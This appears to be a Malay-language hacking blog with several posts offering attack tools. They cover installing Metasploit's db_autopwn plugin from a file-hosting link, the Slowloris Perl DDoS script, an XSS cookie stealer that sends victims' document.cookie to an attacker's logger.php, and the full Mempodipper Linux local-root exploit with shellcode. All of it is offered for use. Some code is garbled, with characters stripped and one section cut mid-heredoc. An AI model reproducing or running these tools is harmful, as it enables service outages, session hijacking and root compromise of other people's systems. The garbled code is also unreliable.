Monday, 5 March 2012

Metasploit Update And Add db_autopwn BT5 r2



Anda boleh menambah db_autopwn didalam metasploit:

root@bt:~# cd /opt/metasploit/msf3
root@bt:/opt/metasploit/msf3# svn update
At revision  14857
root@bt:/opt/metasploit/msf3#

Sekarang db_autopwn :

Upload file rb ke sini : http://www.mediafire.com/?9cwwdeaa1jc4t55

Muat turun fail tersebut dan pindahkannya ke /opt/metasploit/msf3/plugins

Reboot BT5 R2 anda.

Lepas tu pastikan database anda tersambung dan lakukan seperti di bawah :

root@bt:~# msfconsole

Call trans opt: received. 2-19-98 13:24:18 REC:Loc

Trace program: running
wake up, Neo...
the matrix has you
follow the white rabbit.

knock, knock, Neo.

                        (`.         ,-,
                        ` `.    ,;' /
                         `.  ,'/ .'
                          `. X /.'
                .-;--''--.._` ` (
              .'            /   `
             ,           ` '   Q '
             ,         ,   `._    \
          ,.|         '     `-.;_'
          :  . `  ;    `  ` --,.._;
           ' `    ,   )   .'
              `._ ,  '   /_
                 ; ,''-,;' ``-
                  ``-..__``--`



=[ metasploit v4.3.0-dev [core:4.3 api:1.0]
+ -- --=[ 810 exploits - 452 auxiliary - 135 post
+ -- --=[ 246 payloads - 27 encoders - 8 nops
=[ svn r1 14857 updated today (2012.03.04)

msf > db_status
[*] postgresql connected to msf3dev
msf > load db_autopwn
[*] Successfully loaded plugin: db_autopwn
msf >

Sekarang anda boleh menggunakannya !!

Thursday, 1 March 2012

Perl Script - Ddos



Script perl untuk melakukan aktiviti Ddos

#!/usr/bin/perl -w
use strict;
use IO::Socket::INET;
use IO::Socket::SSL;
use Getopt::Long;
use Config;

$SIG{'PIPE'} = 'IGNORE';    #Ignore broken pipe errors

my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections );
my ( $cache, $httpready, $method, $ssl, $rand, $tcpto );
my $result = GetOptions(
    'shost=s'   => \$shost,
    'dns=s'     => \$host,
    'httpready' => \$httpready,
    'num=i'     => \$connections,
    'cache'     => \$cache,
    'port=i'    => \$port,
    'https'     => \$ssl,
    'tcpto=i'   => \$tcpto,
    'test'      => \$test,
    'timeout=i' => \$timeout,
    'version'   => \$version,
);

if ($version) {
    print "Version 0.7\n";
    exit;
}

unless ($host) {
    print "Usage:\n\n\tperl $0 -dns [www.example.com] -options\n";
    print "\n\tType 'perldoc $0' for help with options.\n\n";
    exit;
}

unless ($port) {
    $port = 80;
    print "Defaulting to port 80.\n";
}

unless ($tcpto) {
    $tcpto = 5;
    print "Defaulting to a 5 second tcp connection timeout.\n";
}

unless ($test) {
    unless ($timeout) {
        $timeout = 100;
        print "Defaulting to a 100 second re-try timeout.\n";
    }
    unless ($connections) {
        $connections = 1000;
        print "Defaulting to 1000 connections.\n";
    }
}

my $usemultithreading = 0;
if ( $Config{usethreads} ) {
    print "Multithreading enabled.\n";
    $usemultithreading = 1;
    use threads;
    use threads::shared;
}
else {
    print "No multithreading capabilites found!\n";
    print "Slowloris will be slower than normal as a result.\n";
}

my $packetcount : shared     = 0;
my $failed : shared          = 0;
my $connectioncount : shared = 0;

srand() if ($cache);

if ($shost) {
    $sendhost = $shost;
}
else {
    $sendhost = $host;
}
if ($httpready) {
    $method = "POST";
}
else {
    $method = "GET";
}

if ($test) {
    my @times = ( "2", "30", "90", "240", "500" );
    my $totaltime = 0;
    foreach (@times) {
        $totaltime = $totaltime + $_;
    }
    $totaltime = $totaltime / 60;
    print "This test could take up to $totaltime minutes.\n";

    my $delay   = 0;
    my $working = 0;
    my $sock;

    if ($ssl) {
        if (
            $sock = new IO::Socket::SSL(
                PeerAddr => "$host",
                PeerPort => "$port",
                Timeout  => "$tcpto",
                Proto    => "tcp",
            )
          )
        {
            $working = 1;
        }
    }
    else {
        if (
            $sock = new IO::Socket::INET(
                PeerAddr => "$host",
                PeerPort => "$port",
                Timeout  => "$tcpto",
                Proto    => "tcp",
            )
          )
        {
            $working = 1;
        }
    }
    if ($working) {
        if ($cache) {
            $rand = "?" . int( rand(99999999999999) );
        }
        else {
            $rand = "";
        }
        my $primarypayload =
            "GET /$rand HTTP/1.1\r\n"
          . "Host: $sendhost\r\n"
          . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
          . "Content-Length: 42\r\n";
        if ( print $sock $primarypayload ) {
            print "Connection successful, now comes the waiting game...\n";
        }
        else {
            print
"That's odd - I connected but couldn't send the data to $host:$port.\n";
            print "Is something wrong?\nDying.\n";
            exit;
        }
    }
    else {
        print "Uhm... I can't connect to $host:$port.\n";
        print "Is something wrong?\nDying.\n";
        exit;
    }
    for ( my $i = 0 ; $i <= $#times ; $i++ ) {
        print "Trying a $times[$i] second delay: \n";
        sleep( $times[$i] );
        if ( print $sock "X-a: b\r\n" ) {
            print "\tWorked.\n";
            $delay = $times[$i];
        }
        else {
            if ( $SIG{__WARN__} ) {
                $delay = $times[ $i - 1 ];
                last;
            }
            print "\tFailed after $times[$i] seconds.\n";
        }
    }

    if ( print $sock "Connection: Close\r\n\r\n" ) {
        print "Okay that's enough time. Slowloris closed the socket.\n";
        print "Use $delay seconds for -timeout.\n";
        exit;
    }
    else {
        print "Remote server closed socket.\n";
        print "Use $delay seconds for -timeout.\n";
        exit;
    }
    if ( $delay < 166 ) {
        print < "$host",
                            PeerPort => "$port",
                            Timeout  => "$tcpto",
                            Proto    => "tcp",
                        )
                      )
                    {
                        $working[$z] = 1;
                    }
                    else {
                        $working[$z] = 0;
                    }
                }
                else {
                    if (
                        $sock[$z] = new IO::Socket::INET(
                            PeerAddr => "$host",
                            PeerPort => "$port",
                            Timeout  => "$tcpto",
                            Proto    => "tcp",
                        )
                      )
                    {
                        $working[$z] = 1;
                        $packetcount = $packetcount + 3;  #SYN, SYN+ACK, ACK
                    }
                    else {
                        $working[$z] = 0;
                    }
                }
                if ( $working[$z] == 1 ) {
                    if ($cache) {
                        $rand = "?" . int( rand(99999999999999) );
                    }
                    else {
                        $rand = "";
                    }
                    my $primarypayload =
                        "$method /$rand HTTP/1.1\r\n"
                      . "Host: $sendhost\r\n"
                      . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
                      . "Content-Length: 42\r\n";
                    my $handle = $sock[$z];
                    if ($handle) {
                        print $handle "$primarypayload";
                        if ( $SIG{__WARN__} ) {
                            $working[$z] = 0;
                            close $handle;
                            $failed++;
                            $failedconnections++;
                        }
                        else {
                            $packetcount++;
                            $working[$z] = 1;
                        }
                    }
                    else {
                        $working[$z] = 0;
                        $failed++;
                        $failedconnections++;
                    }
                }
                else {
                    $working[$z] = 0;
                    $failed++;
                    $failedconnections++;
                }
            }
        }
        print "\t\tSending data.\n";
        foreach my $z ( 1 .. $num ) {
            if ( $working[$z] == 1 ) {
                if ( $sock[$z] ) {
                    my $handle = $sock[$z];
                    if ( print $handle "X-a: b\r\n" ) {
                        $working[$z] = 1;
                        $packetcount++;
                    }
                    else {
                        $working[$z] = 0;
                        #debugging info
                        $failed++;
                        $failedconnections++;
                    }
                }
                else {
                    $working[$z] = 0;
                    #debugging info
                    $failed++;
                    $failedconnections++;
                }
            }
        }
        print
"Current stats:\tSlowloris has now sent $packetcount packets successfully.\nThis thread now sleeping for $timeout seconds...\n\n";
        sleep($timeout);
    }
}

sub domultithreading {
    my ($num) = @_;
    my @thrs;
    my $i                    = 0;
    my $connectionsperthread = 50;
    while ( $i < $num ) {
        $thrs[$i] =
          threads->create( \&doconnections, $connectionsperthread, 1 );
        $i += $connectionsperthread;
    }
    my @threadslist = threads->list();
    while ( $#threadslist > 0 ) {
        $failed = 0;
    }
}

__END__

Wednesday, 29 February 2012

Cookie Stealer Advanced Dengan Pagination


1. Logger [save as logger.php]

PHP Code:
<?php
$cookie 
$HTTP_GET_VARS["cookie"];$date date ("j F Y h:i:s A");$ip $_SERVER['REMOTE_ADDR'];$agent $_SERVER['HTTP_USER_AGENT'];$referer $_SERVER['HTTP_REFERER'];$file fopen('logs.html''a');fwrite($file"<tr><td>\n <font color='#990000' ><b>\n Cookies : </b></font>$cookie <br>\n<font color='#990000' ><b> Date : </b></font> $date <br>\n <font color='#990000' ><b> IP : </b></font> $ip <br>\n<font color='#990000' ><b>\n Referer : </b></font>$referer <br>\n<font color='#990000' ><b> Agent : </b></font> $agent <br>\n<hr><hr><br>\n</td></tr>\n");fclose($file);header'Location: http://www.redirectURL.com' ) ;?>


2. JS Logger [save as logger.js]
[Untuk dimasukkan ke dalam XSS anda]

Quote:<script src=http://www.yourwebsite.com/logger.js>

PHP Code:
location.href 'http://youwebsite.com/logger.php?cookie='+encodeURIComponent(document.cookie); 


3. Page Cookie Logs [save as logs.php]

PHP Code:
<!-- If you wanna highlight a specific words -->

<
script type="text/javascript" src="highlight.js"></script><body onload="highlightSearchTerms('Word1');highlightSearchTerms('Word2');highlightSearchTerms​('Word3')">

<head>
  <style type="text/css">

            body
            {
 overflow:visible;
            }
    .pg-normal {
    color: black;
    font-weight: normal;
    text-decoration: none;
    cursor: pointer;
    }
    .pg-selected {
    color: black;
    font-weight: bold;
    text-decoration: underline;
    cursor: pointer;
    }
  </style>

  <script type="text/javascript" src="page.js"></script>
    </head>
<body>
  <center><div id="pageNavPosition"></div></center><br><hr>
  <form action="" method="get" enctype="application/x-www-form-urlencoded">
  <table  id="results">
    <tr>
    <th></th>
    <th></th>
    </tr>

<?php include 'logs.html'?>
 </table>
    </form>

    <script type="text/javascript"><!--
  var pager = new Pager('results', 10);
  pager.init();
  pager.showPageNav('pager', 'pageNavPosition');
  pager.showPage(1);
    //--></script>

    </body>
</html> 


5. HTML Logs [save as logs.html]

** Buat satu page html kosong


4. JS Page [save as page.js]
[Untuk membuat page anda]


PHP Code:
function Pager(tableNameitemsPerPage) {
    
this.tableName tableName;
    
this.itemsPerPage itemsPerPage;
    
this.currentPage 1;
    
this.pages 0;
    
this.inited false;

    
this.showRecords = function(fromto) {
  var 
rows document.getElementById(tableName).rows;
  
// i starts from 1 to skip table header row
  
for (var 1rows.lengthi++) {
    if (
from || to)
    
rows[i].style.display 'none';
    else
    
rows[i].style.display '';
  }
    }

    
this.showPage = function(pageNumber) {
  if (! 
this.inited) {
  
alert("not inited");
  return;
  }

  var 
oldPageAnchor document.getElementById('pg'+this.currentPage);
  
oldPageAnchor.className 'pg-normal';

  
this.currentPage pageNumber;
  var 
newPageAnchor document.getElementById('pg'+this.currentPage);
  
newPageAnchor.className 'pg-selected';

  var 
from = (pageNumber 1) * itemsPerPage 1;
  var 
to from itemsPerPage 1;
  
this.showRecords(fromto);
    }

    
this.prev = function() {
  if (
this.currentPage 1)
    
this.showPage(this.currentPage 1);
    }

    
this.next = function() {
  if (
this.currentPage this.pages) {
    
this.showPage(this.currentPage 1);
  }
    }

    
this.init = function() {
  var 
rows document.getElementById(tableName).rows;
  var 
records = (rows.length 1);
  
this.pages Math.ceil(records itemsPerPage);
  
this.inited true;
    }

    
this.showPageNav = function(pagerNamepositionId) {
  if (! 
this.inited) {
  
alert("not inited");
  return;
  }
  var 
element document.getElementById(positionId);

  var 
pagerHtml '<span onclick="' pagerName '.prev();" class="pg-normal"> &#171 Prev </span> | ';
  for (var 
page 1page <= this.pagespage++)
    
pagerHtml += '<span id="pg' page '" class="pg-normal" onclick="' pagerName '.showPage(' page ');">' page '</span> | ';
  
pagerHtml += '<span onclick="'+pagerName+'.next();" class="pg-normal"> Next »</span>';

  
element.innerHTML pagerHtml;
    }



5. JS Highlight [save as highlight.js]
[**Pilihan Sahaja : Untuk membuat perkataan tertentu dihighlight seperti dalam gambar yang diatas sekali]


PHP Code:
function doHighlight(bodyTextsearchTermhighlightStartTaghighlightEndTag)
{
  
// the highlightStartTag and highlightEndTag parameters are optional
  
if ((!highlightStartTag) || (!highlightEndTag)) {
    
highlightStartTag "<font style='color:blue; background-color:yellow;'><b>";
    
highlightEndTag "</font></b>";
  }
  var 
newText "";
  var 
= -1;
  var 
lcSearchTerm searchTerm.toLowerCase();
  var 
lcBodyText bodyText.toLowerCase();

  while (
bodyText.length 0) {
    
lcBodyText.indexOf(lcSearchTermi+1);
    if (
0) {
  
newText += bodyText;
  
bodyText "";
    } else {
  
// skip anything inside an HTML tag
  
if (bodyText.lastIndexOf(">"i) >= bodyText.lastIndexOf("<"i)) {
  
// skip anything inside a <script> block
  
if (lcBodyText.lastIndexOf("/script>"i) >= lcBodyText.lastIndexOf("<script"i)) {
    
newText += bodyText.substring(0i) + highlightStartTag bodyText.substr(isearchTerm.length) + highlightEndTag;
    
bodyText bodyText.substr(searchTerm.length);
    
lcBodyText bodyText.toLowerCase();
    
= -1;
  }
  }
    }
  }

  return 
newText;
}

function 
highlightSearchTerms(searchTexttreatAsPhrasewarnOnFailurehighlightStartTaghighlightEndTag)
{
  if (
treatAsPhrase) {
    
searchArray = [searchText];
  } else {
    
searchArray searchText.split(" ");
  }

  if (!
document.body || typeof(document.body.innerHTML) == "undefined") {
    if (
warnOnFailure) {
  
alert("Sorry, for some reason the text of this page is unavailable. Searching will not work.");
    }
    return 
false;
  }

  var 
bodyText document.body.innerHTML;
  for (var 
0searchArray.lengthi++) {
    
bodyText doHighlight(bodyTextsearchArray[i], highlightStartTaghighlightEndTag);
  }

  
document.body.innerHTML bodyText;
  return 
true;
}
/*
 * This displays a dialog box that allows a user to enter their own
 * search terms to highlight on the page, and then passes the search
 * text or phrase to the highlightSearchTerms function. All parameters
 * are optional.
 */
function searchPrompt(defaultTexttreatAsPhrasetextColorbgColor)
{
  
// This function prompts the user for any words that should
  // be highlighted on this web page
  
if (!defaultText) {
    
defaultText "";
  }

  
// we can optionally use our own highlight tag values
  
if ((!textColor) || (!bgColor)) {
    
highlightStartTag "";
    
highlightEndTag "";
  } else {
    
highlightStartTag "<font style='color:" textColor "; background-color:" bgColor ";'>";
    
highlightEndTag "</font>";
  }

  if (
treatAsPhrase) {
    
promptText "Please enter the phrase you'd like to search for:";
  } else {
    
promptText "Please enter the words you'd like to search for, separated by spaces:";
  }

  
searchText prompt(promptTextdefaultText);

  if (!
searchText)  {
    
alert("No search terms were entered. Exiting function.");
    return 
false;
  }

  return 
highlightSearchTerms(searchTexttreatAsPhrasetruehighlightStartTaghighlightEndTag);
}
/*
 * This function takes a referer/referrer string and parses it
 * to determine if it contains any search terms. If it does, the
 * search terms are passed to the highlightSearchTerms function
 * so they can be highlighted on the current page.
 */
function highlightGoogleSearchTerms(referrer)
{
  
// This function has only been very lightly tested against
  // typical Google search URLs. If you wanted the Google search
  // terms to be automatically highlighted on a page, you could
  // call the function in the onload event of your <body> tag,
  // like this:
  //   <body onload='highlightGoogleSearchTerms(document.referrer);'>

  //var referrer = document.referrer;
  
if (!referrer) {
    return 
false;
  }

  var 
queryPrefix "q=";
  var 
startPos referrer.toLowerCase().indexOf(queryPrefix);
  if ((
startPos 0) || (startPos queryPrefix.length == referrer.length)) {
    return 
false;
  }

  var 
endPos referrer.indexOf("&"startPos);
  if (
endPos 0) {
    
endPos referrer.length;
  }

  var 
queryString referrer.substring(startPos queryPrefix.lengthendPos);
  
// fix the space characters
  
queryString queryString.replace(/%20/gi" ");
  
queryString queryString.replace(/\+/gi" ");
  
// remove the quotes (if you're really creative, you could search for the
  // terms within the quotes as phrases, and everything else as single terms)
  
queryString queryString.replace(/%22/gi"");
  
queryString queryString.replace(/\"/gi, "");

  return highlightSearchTerms(queryString, false);
}

/*
 * This function is just an easy way to test the highlightGoogleSearchTerms
 * function.
 */
function testHighlightGoogleSearchTerms()
{
  var referrerString = "
http://www.google.com/search?q=javascript%20highlight&start=0";
  
referrerString prompt("Test the following referrer string:"referrerString);
  return 
highlightGoogleSearchTerms(referrerString);


Mempodipper - Linux Local Root for >=2.6.39, 32-bit and 64-bit


# Exploit Title: Mempodipper - Linux Local Root for >=2.6.39, 32-bit and 64-bit
# Author: zx2c4
# Tested on: Gentoo, Ubuntu
# Platform: Linux
# Category: Local


/*
* Mempodipper
* by zx2c4
*
* Linux Local Root Exploit
*
* Rather than put my write up here, per usual, this time I've put it
* in a rather lengthy blog post: http://blog.zx2c4.com/749
*
* Enjoy.
*
* - zx2c4
* Jan 21, 2012
*
* CVE-2012-0056
*/
#define _LARGEFILE64_SOURCE
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
char *socket_path = "/tmp/.sockpuppet";
int send_fd(int fd)
{
    char buf[1];
    struct iovec iov;
    struct msghdr msg;
    struct cmsghdr *cmsg;
    struct sockaddr_un addr;
    int n;
    int sock;
    char cms[CMSG_SPACE(sizeof(int))];
    if ((sock = socket(AF_UNIX, SOCK_STREAM, 0)) < 0)
        return -1;
    memset(&addr, 0, sizeof(addr));
    addr.sun_family = AF_UNIX;
    strncpy(addr.sun_path, socket_path, sizeof(addr.sun_path) - 1);
    if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) < 0)
        return -1;
    buf[0] = 0;
    iov.iov_base = buf;
    iov.iov_len = 1;
    memset(&msg, 0, sizeof msg);
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;
    msg.msg_control = (caddr_t)cms;
    msg.msg_controllen = CMSG_LEN(sizeof(int));
    cmsg = CMSG_FIRSTHDR(&msg);
    cmsg->cmsg_len = CMSG_LEN(sizeof(int));
    cmsg->cmsg_level = SOL_SOCKET;
    cmsg->cmsg_type = SCM_RIGHTS;
    memmove(CMSG_DATA(cmsg), &fd, sizeof(int));
    if ((n = sendmsg(sock, &msg, 0)) != iov.iov_len)
        return -1;
    close(sock);
    return 0;
}
int recv_fd()
{
    int listener;
    int sock;
    int n;
    int fd;
    char buf[1];
    struct iovec iov;
    struct msghdr msg;
    struct cmsghdr *cmsg;
    struct sockaddr_un addr;
    char cms[CMSG_SPACE(sizeof(int))];
    if ((listener = socket(AF_UNIX, SOCK_STREAM, 0)) < 0)
        return -1;
    memset(&addr, 0, sizeof(addr));
    addr.sun_family = AF_UNIX;
    strncpy(addr.sun_path, socket_path, sizeof(addr.sun_path) - 1);
    unlink(socket_path);
    if (bind(listener, (struct sockaddr*)&addr, sizeof(addr)) < 0)
        return -1;
    if (listen(listener, 1) < 0)
        return -1;
    if ((sock = accept(listener, NULL, NULL)) < 0)
        return -1;
    iov.iov_base = buf;
    iov.iov_len = 1;
    memset(&msg, 0, sizeof msg);
    msg.msg_name = 0;
    msg.msg_namelen = 0;
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;
    msg.msg_control = (caddr_t)cms;
    msg.msg_controllen = sizeof cms;
    if ((n = recvmsg(sock, &msg, 0)) < 0)
        return -1;
    if (n == 0)
        return -1;
    cmsg = CMSG_FIRSTHDR(&msg);
    memmove(&fd, CMSG_DATA(cmsg), sizeof(int));
    close(sock);
    close(listener);
    return fd;
}
int main(int argc, char **argv)
{
    if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c') {
        char parent_mem[256];
        sprintf(parent_mem, "/proc/%s/mem", argv[2]);
        printf("[+] Opening parent mem %s in child.\n", parent_mem);
        int fd = open(parent_mem, O_RDWR);
        if (fd < 0) {
            perror("[-] open");
            return 1;
        }
        printf("[+] Sending fd %d to parent.\n", fd);
        send_fd(fd);
        return 0;
    }
    printf("===============================\n");
    printf("=          Mempodipper        =\n");
    printf("=           by zx2c4          =\n");
    printf("=         Jan 21, 2012        =\n");
    printf("===============================\n\n");
    int parent_pid = getpid();
    if (fork()) {
        printf("[+] Waiting for transferred fd in parent.\n");
        int fd = recv_fd();
        printf("[+] Received fd at %d.\n", fd);
        if (fd < 0) {
            perror("[-] recv_fd");
            return -1;
        }
        printf("[+] Assigning fd %d to stderr.\n", fd);
        dup2(2, 6);
        dup2(fd, 2);
        unsigned long address;
        if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'o')
            address = strtoul(argv[2], NULL, 16);
        else {
            printf("[+] Reading su for exit@plt.\n");
            // Poor man's auto-detection. Do this in memory instead of relying on objdump being installed.
            FILE *command = popen("objdump -d /bin/su|grep 'exit@plt'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'", "r");
            char result[32];
            result[0] = 0;
            fgets(result, 32, command);
            pclose(command);
            address = strtoul(result, NULL, 16);
            if (address == ULONG_MAX || !address) {
                printf("[-] Could not resolve /bin/su. Specify the exit@plt function address manually.\n");
                printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n", argv[0], argv[0]);
                return 1;
            }
            printf("[+] Resolved exit@plt to 0x%lx.\n", address);
        }
        printf("[+] Calculating su padding.\n");
        FILE *command = popen("su this-user-does-not-exist 2>&1", "r");
        char result[256];
        result[0] = 0;
        fgets(result, 256, command);
        pclose(command);
        unsigned long su_padding = (strstr(result, "this-user-does-not-exist") - result) / sizeof(char);
        unsigned long offset = address - su_padding;
        printf("[+] Seeking to offset 0x%lx.\n", offset);
        lseek64(fd, offset, SEEK_SET);
#if defined(__i386__)
        // See shellcode-32.s in this package for the source.
        char shellcode[] =
            "\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\x31\xc9\xb3"
            "\x06\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68"
            "\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89"
            "\xe0\x31\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd"
            "\x80";
#elif defined(__x86_64__)
        // See shellcode-64.s in this package for the source.
        char shellcode[] =
            "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x40"
            "\xb7\x06\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f\x2f\x62\x69"
            "\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xdb"
            "\x66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50\x51\x57\x48"
            "\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05";
#else
#error "That platform is not supported."
#endif
        printf("[+] Executing su with shellcode.\n");
        execl("/bin/su", "su", shellcode, NULL);
    } else {
        char pid[32];
        sprintf(pid, "%d", parent_pid);
        printf("[+] Executing child from child fork.\n");
        execl("/proc/self/exe", argv[0], "-c", pid, NULL);
    }
}

Script DDOS Perl